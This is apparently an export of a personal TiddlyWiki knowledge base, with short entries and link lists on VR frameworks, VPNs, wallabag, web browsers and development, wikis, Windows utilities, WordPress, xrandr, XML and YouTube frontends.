                                                                                                        • A-Frame โ€” ๐Ÿ…ฐ๏ธ Web framework for building virtual reality experiences. โ€” [Git]
                                                                                                          • Web2VR โ€” Dynamically translate HTML and CSS to A-Frame 3D world for virtual reality.
                                                                                                          • Mozilla Hubs โ€” Duck-themed multi-user virtual spaces in WebVR. Built with A-Frame. โ€” [Git]
                                                                                                        Octt 17th February 2023 at 2:46pm

                                                                                                        Wikipedia

                                                                                                        Embed of https://en.m.wikipedia.org/wiki/Virtual Reality

                                                                                                        Octt 4th April 2023 at 2:15pm

                                                                                                        Wikipedia

                                                                                                        Embed of https://en.m.wikipedia.org/wiki/Visual novel

                                                                                                        Octt 23rd July 2023 at 10:40pm

                                                                                                        Wikipedia

                                                                                                        Embed of https://en.m.wikipedia.org/wiki/VMWare

                                                                                                        Octt 26th February 2024 at 1:20pm

                                                                                                        Wikipedia

                                                                                                        Embed of https://en.m.wikipedia.org/wiki/VNC

                                                                                                        Octt 15th February 2023 at 9:36pm

                                                                                                        Voxatron [alpha] is a fantasy console and collection of games made entirely out of voxels (little colourful cubes, kind of). Made by the developers of PICO-8.

                                                                                                        Octt 22nd December 2023 at 9:51pm

                                                                                                        Wikipedia

                                                                                                        Embed of https://en.m.wikipedia.org/wiki/VPN

                                                                                                        • Psiphon โ€” Access the entire internet. โ€” [Git]
                                                                                                        • VpnHood! โ€” Undetectable VPN for ordinary users and experts. VpnHood is a solution to bypass Advanced Firewalls and can circumvent deep packet inspection. โ€” [Git]
                                                                                                        Octt 15th February 2023 at 6:42pm

                                                                                                        wallabag is a self hostable application for saving web pages: Save and classify articles. Read them later. Freely.

                                                                                                        My experience:

                                                                                                        • Feature-rich but the UX is clean and not bloated
                                                                                                          • Has annotations (which I haven't really used) and RSS feeds
                                                                                                        • Rich client support
                                                                                                          • Good and full web interface, official simplified Android app, supported by KOReader
                                                                                                        • Really really unstable and inefficient (but I wouldn't call it resource-heavy, it absorbs very little)
                                                                                                          • After months of hosting the official Docker container on my Raspberry Pi 3[
                                                                                                            2023-02-15: I tried running the software on my PC, which has no shortage of resources, but the issues are there - Keep in mind I used the 4-months-old Docker because upgrade to the new one failed
                                                                                                            ]
                                                                                                            , I can say that:
                                                                                                            • It constantly implodes, often crashing by itself for no particular reason, sometimes bringing the entire server to a crawl (explosion)
                                                                                                              • The server is a lot more prone to crashing if contacted by my Kindle (only tried via KOReader, but either via the plugin or just downloading the RSS feed)
                                                                                                            • Docker container is strangely arranged, it takes ~7 minutes to boot up, I see that it calls processes like Ansible (which would be OK for other kinds of deployments but not really for a release container, which should be static)[
                                                                                                              It appears this issue has been fixed as of 2023-02-15, the Docker container has now no significant bloat
                                                                                                              ]
                                                                                                            • Needs extra steps for upgrading: on 2023-02-15 I installed the latest version[
                                                                                                              2.5.4
                                                                                                              ]
                                                                                                              as a new container, but pointing to the old database (created at the time of v2.5.4, and it gave an unrecoverable error after trying to login with correct data[
                                                                                                              This issue didn't happen when trying to purposefully fail the login by inserting wrong username/password, in which case it just gave normal error about wrong login data
                                                                                                              ]
                                                                                                              . I couldn't run the new version with my already existing data "as-is", it's mandatory to fist do a database migration
                                                                                                        Footnotes
                                                                                                        Octt 13th February 2024 at 8:39pm
                                                                                                        Octt 13th June 2023 at 6:53pm

                                                                                                        The Wayback Machine is a public website archiving service, provided by the Internet Archive.

                                                                                                        Wikipedia

                                                                                                        Embed of https://en.m.wikipedia.org/wiki/Wayback Machine

                                                                                                        The project exists to fulfill the goal of Web content preservation. It allows for users to visit a snapshot of a webpage captured in the past, serving as a way to preserve history, both in the case of the site owners altering the contents of a page, or simply the server going permanently down.

                                                                                                        Octt 26th February 2024 at 1:14pm

                                                                                                        Wikipedia

                                                                                                        Embed of https://en.m.wikipedia.org/wiki/World_Wide_Web

                                                                                                        User-Agent

                                                                                                        Wikipedia

                                                                                                        Embed of https://en.m.wikipedia.org/wiki/User-Agent

                                                                                                        • User Agents Database โ€” website collecting many up-to-date user agents, classified and downloadable

                                                                                                        Resources

                                                                                                        Tools

                                                                                                        Frameworks/Generators/CMS

                                                                                                        (Note: some are in Static site generator.)

                                                                                                        Analytics

                                                                                                        • www.freecounterstat.com โ€” Dy befault, blocked by uBlock Origin on the international domain, but several national domains are not, like www.contatoreaccessi.com (IT).
                                                                                                          • Multiple .ovh subdomains handle the image serving and the access counting, they appear to be functionally equivalent and swappable in case one is blocked, but the already counted accesses are bound to each specific domain, aka you can't swap the domain you embed while keeping the already counted accesses.
                                                                                                        • GoatCounter โ€” Easy analytics. Open-source, self-hostable, GDPR-compliant. No tracking of personal data, and works without JS โ€” [Git]
                                                                                                          • Note: GoatCounter tracking endpoints are blocked by the default uBlock Origin configuration, must selfhost or arrange some kind of proxy to bypass it.
                                                                                                        • Moe Counter! (count.getloli.com)
                                                                                                        • Start Hits โ€” ๐Ÿš€ Easy way to know how many visitors are viewing your Github, Website, Notion ๐ŸŽ‰ โ€” [Git]
                                                                                                        • Others: https://github.com/newTendermint/awesome-analytics | https://github.com/pluja/awesome-privacy#analytics

                                                                                                        Other Things

                                                                                                        Octt 13th February 2024 at 5:07pm

                                                                                                        Wikipedia

                                                                                                        Embed of https://en.m.wikipedia.org/wiki/Web Browser

                                                                                                        Chromium

                                                                                                        Forks
                                                                                                        Ungoogled Chromium
                                                                                                        Bromite (Android) โ€” [Git]

                                                                                                        Firefox

                                                                                                        Forks
                                                                                                        LibreWolf (Desktop)
                                                                                                        Fennec F-Droid (Android)
                                                                                                        CENO Browser (Android) โ€” Short for censorship.no!, is the worldโ€™s first mobile browser that side-steps current Internet censorship methods. Its peer-to-peer backbone allows people to access and share web information in and across regions where connectivity has been interrupted or compromised. โ€” [Git]
                                                                                                        Forks of the old codebase, Mozilla Suite
                                                                                                        Mypal โ€” Mypal is a current and maintained browser for Windows XP. Turn that old PC into something useful! โ€” [Old Sources]
                                                                                                        Pale Moon
                                                                                                        SeaMonkey project is a community effort to develop the SeaMonkey Internet Application Suite

                                                                                                        Epiphany

                                                                                                        Misc

                                                                                                        • Falkon is a KDE web browser using QtWebEngine rendering engine (same as Chromium, but the overall base is different)
                                                                                                        • K-Meleon is a lightweight, customizable, open-source web browser designed for Microsoft Windows (Win32) operating systems. Support for legacy operating systems, low RAM usage, a macro language to customize the browser, and privacy-respecting defaults are among K-Meleon's unique features.
                                                                                                        • Konqueror โ€” Konqueror is KDE's Webbrowser and swiss-army-knife for any kind of file-management and file previewing. โ€” basically the Internet Explorer 4 of Linux, a file manager with built-in browser and advanced features... seems to be maintained currently, but all my distros ship an ancient version with HTML 4 (no 5) support

                                                                                                        Extensions / Add-ons

                                                                                                        Octt 6th February 2023 at 11:15am

                                                                                                        Some ideas on how and into what to make a website I want to collect. Some I gather from other people's sites.

                                                                                                        • Site Changelog on Home page
                                                                                                        • Animated/Static Image Buttons for expressing ideas or linking to other websites
                                                                                                        • Shrines
                                                                                                        • Vast photo Galleries
                                                                                                        Web/
                                                                                                        Design
                                                                                                          โ–ช๏ธ

                                                                                                          Web/Design

                                                                                                          Octt 24th December 2023 at 5:27pm

                                                                                                          Wikipedia

                                                                                                          Embed of https://en.m.wikipedia.org/wiki/Web design

                                                                                                          • Codrops โ€” Keeping web professionals inspired & up-to-date since 2009 โ€” [Git]
                                                                                                            • Text Input Effects โ€” Simple styles and effects for enhancing text input interactions. โ€” [Git]

                                                                                                          Other misc libraries and designs

                                                                                                          • Typo โ€” Typo types the way a real person types. There are subtle variations in speed, occasional errors that are corrected, and a general feeling of humanity. โ€” [Git]
                                                                                                          Web/
                                                                                                          Development
                                                                                                            โ–ช๏ธ

                                                                                                            Web/Development

                                                                                                            Octt 13th February 2024 at 9:48pm

                                                                                                            Wikipedia

                                                                                                            Embed of https://en.m.wikipedia.org/wiki/Web development

                                                                                                            References

                                                                                                            Misc
                                                                                                            Channel Messaging API [MDN Docs], Window: postMessage()
                                                                                                            Proxy Auto-Configuration (PAC) file
                                                                                                            DOM querying
                                                                                                            Find all text nodes in HTML page
                                                                                                            Find the closest ancestor element that has a specific class | Element.closest()
                                                                                                            DOM manipulation
                                                                                                            Insert a childNode to a specific position
                                                                                                            Prepend/append childNode to beginning/end of element
                                                                                                            Replace a DOM Element
                                                                                                            Embeds
                                                                                                            From object to iframe โ€” other embedding technologies
                                                                                                            Alternative to iFrames with HTML5?
                                                                                                            Why are iframes considered dangerous and a security risk?
                                                                                                            4 IFrame Security Concerns You Should Know

                                                                                                            Tools and similar

                                                                                                            Minification

                                                                                                            • node-minify - Light Node.js module and CLI app that compress javascript, css and html files

                                                                                                            Misc

                                                                                                            Octt 7th February 2023 at 6:50pm
                                                                                                            Octt 6th February 2023 at 11:15am

                                                                                                            List of many Webrings

                                                                                                            I should ask some for joining (with the sitoctt or the octt hub? or the octtkb?)

                                                                                                            Legend:

                                                                                                            • โœ…: Joined
                                                                                                            • ๐Ÿ“…: Waiting
                                                                                                            • โ“: Asked for joining but got ignored (verified through page changes and stuff across weeks/months)
                                                                                                            • โŒ: Got rejected
                                                                                                            • โœ๏ธ (or empty): Noted only

                                                                                                            Octt 17th February 2023 at 10:55pm

                                                                                                            Wikipedia

                                                                                                            Embed of https://en.m.wikipedia.org/wiki/Website

                                                                                                            Wget/
                                                                                                            Snippets
                                                                                                              โ–ช๏ธ

                                                                                                              Wget/Snippets

                                                                                                              Octt 6th February 2023 at 8:35pm

                                                                                                              Flags

                                                                                                              • Download required page assets: -p
                                                                                                              • Convert internal links to relative: -k
                                                                                                              • Download entire website (all links from domain + external resources): --mirror
                                                                                                              Octt 9th February 2023 at 2:40pm
                                                                                                              • Data is generally safer in the long term.
                                                                                                                • Digital writing is often prone to information loss in the very short term in ways that paper is not (e.g: PC crashing while you write, phone falling out of your hands while writing and ending up with a dead display)...
                                                                                                                • ...but with proper automatic synchronization and backups solutions, in the long term computerized information is at a lesser risk:
                                                                                                                  • Case study: both my sitoctt and OcttKB save to their respective Git repos in the cloud; If all my devices with recent offline copies break, I don't lose the data; Those repos are mirrored to 2 other separate Git providers, minimizing the risk for if some go down someday; All are publicly accessible, so I can re-download the data even if I were to lose all my login details for all my accounts; Everyone can potentially make and distribute copies, more people have the data so it's harder for it to disappear from the face of the Earth.
                                                                                                                  • Compare this to a paper Notebook: if something happens to it, all your data is gone.
                                                                                                              • Faster and easier both to initially write new information, and also to then make adjustments. Updating data is continuous and flawless.
                                                                                                                • I can write much faster on a latin-alphabet keyboard than what I can by handwriting in the latin alphabet.
                                                                                                                • It's easier to do special formatting: Font styles, millions of colors, animations, backgrounds, navigations.
                                                                                                              • Data is indexable, searchable, and shareable fast, in both simple and infinitely complex ways, and fast.
                                                                                                                • Zettelkasten is much more doable with computers, even if it was born on paper
                                                                                                                • Never losing information (especially small snippets) after some time because of paper being too disorganized to search in.
                                                                                                                  • On paper, it's impossible to do full-text, as OCR systems are still pretty immature and high in computing cost, not to mention the overhead needed to feed a picture of the handwritten paper to the computer.
                                                                                                                • Can make the information available to everyone via the Internet, with pure text content being very easy to transfer, and also accessible for consumption to people who can't read with their eyes
                                                                                                              Octt 21st December 2023 at 3:31pm

                                                                                                              Wikipedia

                                                                                                              Embed of https://en.m.wikipedia.org/wiki/Wii

                                                                                                              Octt 21st December 2023 at 3:31pm
                                                                                                              Octt 22nd February 2024 at 12:29pm

                                                                                                              Wikipedia

                                                                                                              Embed of https://en.m.wikipedia.org/wiki/Wiki

                                                                                                              • BookStack is a simple, self-hosted, easy-to-use platform for organising and storing information. โ€” [Git]
                                                                                                              • DokuWiki โ€” simple to use and highly versatile Open Source wiki software that doesn't require a database โ€” [Git]
                                                                                                                • config:useslash โ€” option allowing to use / slashes as directory separators in URLs, additionally to the standard : column
                                                                                                                • plugin:mathjax โ€” Enables MathJax parsing of TeX math expressions in wiki pages
                                                                                                                • plugin:widearea โ€” Adds a very small icon in the top right of the edit box. Click on the icon to expand into the fullpage view.
                                                                                                              • MediaWiki
                                                                                                              • TiddlyWiki
                                                                                                              • WikiDocs โ€” ๐Ÿ“— Just a databaseless markdown flat-file wiki engine โ€” [Git]
                                                                                                              Octt 21st December 2023 at 7:49pm

                                                                                                              Wikipedia

                                                                                                              Embed of https://en.m.wikipedia.org/wiki/Wikipedia

                                                                                                              It is truly one of the best places to gain general culture from. For anything that is not found on the OcttKB, you should visit Wikipedia no doubt.

                                                                                                              Resources

                                                                                                              Tools

                                                                                                              • WikiBinge โ€” Find out how each article is flimsily connected with another one
                                                                                                              • Wikiwand โ€” A modern Wikipedia reader for web and mobile โ€” apparently it's totally proprietary, idk, a bit shady, but a good idea and possibly to keep an eye on
                                                                                                              Octt 28th February 2023 at 10:26pm
                                                                                                              Octt 17th August 2023 at 11:31pm

                                                                                                              Wikipedia

                                                                                                              Embed of https://en.m.wikipedia.org/wiki/Help:Wikitext

                                                                                                              MediaWiki's vs TiddlyWiki's Wikitext

                                                                                                              Documentation: Wikipedia's | TiddlyWiki's

                                                                                                              Equalities

                                                                                                              • Unordered and Ordered Lists
                                                                                                              • Break lines: A single newline doesn't break the text, an empty line starts a new paragraph.

                                                                                                              Differences

                                                                                                              MediaWikiTiddlyWiki
                                                                                                              HeadingsName enclosed in a pair of equals:
                                                                                                              === Heading 3 ===
                                                                                                              Name preceded by bangs:
                                                                                                              !!! Heading 3
                                                                                                              Bold:
                                                                                                              Text enclosed in a pair of:
                                                                                                              3 apostrophes:
                                                                                                              '''Text'''
                                                                                                              2 apostrophes:
                                                                                                              ''Text''
                                                                                                              Italics:
                                                                                                              Text enclosed in a pair of:
                                                                                                              2 apostrophes:
                                                                                                              ''Text''
                                                                                                              2 slashes:
                                                                                                              //Text//
                                                                                                              IndentationIndentation as used on talk pages:
                                                                                                              :Each colon at the start of a line
                                                                                                              ::causes the line to be indented by three more character positions.
                                                                                                              N/A
                                                                                                              Horizontal Rule4 or more dashes:
                                                                                                              ----
                                                                                                              3 or more dashes:
                                                                                                              ---
                                                                                                              Hard LinebreaksN/AText enclosed in 3 quotes:
                                                                                                              """
                                                                                                              Text
                                                                                                              Still Text
                                                                                                              """
                                                                                                              LinksTarget first, Name lastName first, Target last
                                                                                                              Octt 26th February 2024 at 2:30pm

                                                                                                              Wikipedia

                                                                                                              Embed of https://en.m.wikipedia.org/wiki/Microsoft_Windows

                                                                                                              Resources for the platform

                                                                                                              Distros

                                                                                                              Programs

                                                                                                              • Calmira โ€” Alternate shell available for Windows 3.1x and up that has an appearance resembling more modern Windows versions
                                                                                                              • Chris Titus Tech's Windows Utility โ€” Install Programs, do Debloats, Tweaks, Fixes, Updates
                                                                                                              • NTLite โ€” Local control for editing Windows images and deployments, for IT professionals/enthusiasts
                                                                                                              • Microsoft PowerToys โ€” Utilities for power users to tune Windows for greater productivity โ€” [Git]
                                                                                                              • NirSoft โ€” Freeware utilities by Nir Sofer
                                                                                                              • Policy Plus โ€” Local Group Policy Editor plus more, for all Windows editions
                                                                                                              • Sandboxie โ€” Open Source sandbox-based isolation software โ€” [Git] [Old Git]
                                                                                                              • Sysinternals โ€” Utilities to help manage, troubleshoot and diagnose Windows systems and applications (+ many useful resources)
                                                                                                              • TweakUI
                                                                                                              • Wallpaper Engine โ€” Use stunning live wallpapers on your Windows desktop โ€” [Steampowered]
                                                                                                              • Winaero Tweaker โ€” Tweaking normally inaccessible UI features on modern Windows
                                                                                                              • Windows Terminal โ€” The new Windows Terminal and the original Windows console host, all in the same place!
                                                                                                              Octt 8th October 2023 at 8:37pm

                                                                                                              Wikipedia

                                                                                                              Embed of https://en.m.wikipedia.org/wiki/Windows Registry

                                                                                                              Useful keys:

                                                                                                              • Position of taskbar on screen (Win 10/11): (Binary) HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\{StuckRects3,MMStuckRects3}, byte 12, (single-monitor, multi-monitor)
                                                                                                              Windows/
                                                                                                              Advanced
                                                                                                                โ–ช๏ธ

                                                                                                                Windows/Advanced

                                                                                                                Octt 8th October 2023 at 8:39pm
                                                                                                                Windows/
                                                                                                                Troubleshooting
                                                                                                                  โ–ช๏ธ

                                                                                                                  Windows/Troubleshooting

                                                                                                                  Octt 23rd July 2023 at 1:29pm
                                                                                                                  Octt 9th February 2023 at 10:24am
                                                                                                                  Octt 13th February 2023 at 5:28pm
                                                                                                                  Octt 20th December 2023 at 11:58pm

                                                                                                                  Wikipedia

                                                                                                                  Embed of https://en.m.wikipedia.org/wiki/Word

                                                                                                                  Useful, to be remembered

                                                                                                                  Interesting Words/Expressions

                                                                                                                  Some words and expressions I discovered and found so interesing I want to save them, ok?

                                                                                                                  Octt 13th February 2024 at 2:32pm

                                                                                                                  Wikipedia

                                                                                                                  Embed of https://en.m.wikipedia.org/wiki/WordPress

                                                                                                                  Plugins

                                                                                                                  • ActivityPub โ€” Enter the fediverse with ActivityPub, broadcasting your blog to a wider audience! โ€” [Git]
                                                                                                                  • Press This (once part of WP, now an official plugin) โ€” Posting images, links, and cat gifs will never be the same. โ€” [Support] [Codex]
                                                                                                                  • Writing On GitHub โ€” A WordPress plugin to allow you writing on GitHub (or Jekyll site), and vice-versa โ€” [Git]
                                                                                                                  • URL Params โ€” allows you to access URL parameters in the Query String of the URL via shortcodes
                                                                                                                  • Friends WordPress Plugin โ€” A social network between WordPresses. Privacy focused, by itself a self-hosted RSS++ reader with notifications โ€” [Git]

                                                                                                                  Themes

                                                                                                                  • BSoJ (Blue Screen of Joy) is a blog theme inspired by the infamous Blue Screen of Death
                                                                                                                  • Stewart is a modern blogging theme with a left sidebar. Its default color scheme is a striking combination of orange and light gray, to give your blog a sophisticated appearance from day one.
                                                                                                                  • Tomoni is a theme that displays a use case of multilingual content with Japanese, with many color palettes
                                                                                                                  X11/
                                                                                                                  Snippets
                                                                                                                    โ–ช๏ธ

                                                                                                                    X11/Snippets

                                                                                                                    Octt 6th February 2023 at 11:15am

                                                                                                                    Multi-Screen Fixes

                                                                                                                    LG Flatron W1943SS (R) + TV Toshiba (L)

                                                                                                                    xrandr --output DVI-D-0 --addmode DVI-D-0 1920x1080
                                                                                                                    xrandr --output DVI-D-0 --mode 1920x1080 -r 60.00
                                                                                                                    xrandr --output DVI-D-0 --left-of HDMI-A-0
                                                                                                                    Octt 27th October 2023 at 10:56am

                                                                                                                    Wikipedia

                                                                                                                    Embed of https://en.m.wikipedia.org/wiki/x86_64

                                                                                                                    • x86-64 Simplified โ€” opinionated alternative Instruction Set Reference for the x86-64 Architecture to prioritize readability and simplicity over accuracy or completeness
                                                                                                                    Octt 6th February 2023 at 11:15am
                                                                                                                    Octt 6th February 2023 at 11:15am
                                                                                                                    Octt 7th February 2023 at 7:19pm
                                                                                                                    Octt 7th February 2023 at 7:10pm
                                                                                                                    Octt 23rd August 2023 at 10:18am

                                                                                                                    Wikipedia

                                                                                                                    Embed of https://en.m.wikipedia.org/wiki/XML

                                                                                                                    • The XML FAQ โ€” Frequently-Asked Questions about the Extensible Markup Language
                                                                                                                    Octt 30th January 2024 at 4:23pm

                                                                                                                    Wikipedia

                                                                                                                    Embed of https://en.m.wikipedia.org/wiki/XPath

                                                                                                                    Octt 18th August 2023 at 7:55am

                                                                                                                    Wikipedia

                                                                                                                    Embed of https://en.m.wikipedia.org/wiki/XSL

                                                                                                                    Octt 24th December 2023 at 12:12am

                                                                                                                    Wikipedia

                                                                                                                    Embed of https://en.m.wikipedia.org/wiki/XSLT

                                                                                                                    Octt 13th February 2024 at 10:00pm

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                                                                                                                    Frontends

                                                                                                                    • FreeTube โ€” open source desktop YouTube player built with privacy in mind โ€” [Git]
                                                                                                                    • Invidious โ€” open source alternative front-end to YouTube โ€” [Git]
                                                                                                                      • the new YT CEO waged a war against Invidious specifically, it has many ratelimiting problems now afaik
                                                                                                                    • LibreTube โ€” alternative frontend for YouTube, for Android โ€” [Git]
                                                                                                                    • NewPipe โ€” libre lightweight streaming front-end for Android โ€” [Git]
                                                                                                                    • Piped โ€” alternative privacy-friendly YouTube frontend which is efficient by design โ€” [Git]
                                                                                                                    • youtube-local โ€” browser-based client for watching Youtube anonymously and with greater page performance
                                                                                                                    Octt 9th February 2023 at 4:29pm

                                                                                                                    Octt 25th February 2023 at 2:20pm

                                                                                                                    Most efficient compression algorithm available today.

                                                                                                                    At the maximux compression setting, it has:

                                                                                                                    • Compression ratio just a bit worse than lzma, better than deflate.
                                                                                                                    • Decompression speed much higher than lzma or deflate.

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